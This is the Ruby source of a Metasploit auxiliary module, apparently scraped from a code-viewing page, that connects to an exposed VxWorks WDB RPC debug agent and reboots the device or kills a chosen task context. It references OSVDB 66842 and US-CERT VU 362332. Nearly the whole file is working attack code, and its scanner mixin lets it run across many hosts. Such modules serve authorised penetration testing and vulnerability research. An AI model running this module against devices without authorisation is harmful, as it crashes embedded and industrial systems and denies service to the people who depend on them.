Path: blob/master/modules/auxiliary/admin/vxworks/wdbrpc_reboot.rb
19758 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::WDBRPC_Client7include Msf::Auxiliary::Report8include Msf::Auxiliary::Scanner910def initialize(info = {})11super(12update_info(13info,14'Name' => 'VxWorks WDB Agent Remote Reboot',15'Description' => %q{16This module provides the ability to reboot a VxWorks target through WDBRPC.17},18'Author' => [ 'hdm'],19'License' => MSF_LICENSE,20'References' => [21['OSVDB', '66842'],22['URL', 'http://web.archive.org/web/20230402082942/https://www.rapid7.com/blog/post/2010/08/02/new-vxworks-vulnerabilities/'],23['US-CERT-VU', '362332']24],25'Actions' => [26['Reboot', { 'Description' => 'Reboot target' }]27],28'DefaultAction' => 'Reboot',29'Notes' => {30'Stability' => [CRASH_OS_RESTARTS],31'SideEffects' => [],32'Reliability' => []33}34)35)3637register_options(38[39OptInt.new('CONTEXT', [ true, 'The context to terminate (0=system reboot)', 0 ])40]41)42end4344def run_host(ip)45wdbrpc_client_connect4647@wdbrpc_info[:rt_membase]48@wdbrpc_info[:rt_memsize]49@wdbrpc_info[:agent_mtu]50ctx = datastore['CONTEXT'].to_i5152print_status("#{ip} - Killing task context #{ctx}...")5354wdbrpc_client_context_kill((ctx != 0) ? 3 : 0, ctx)5556print_status("#{ip} - Done")5758wdbrpc_client_disconnect59end60end616263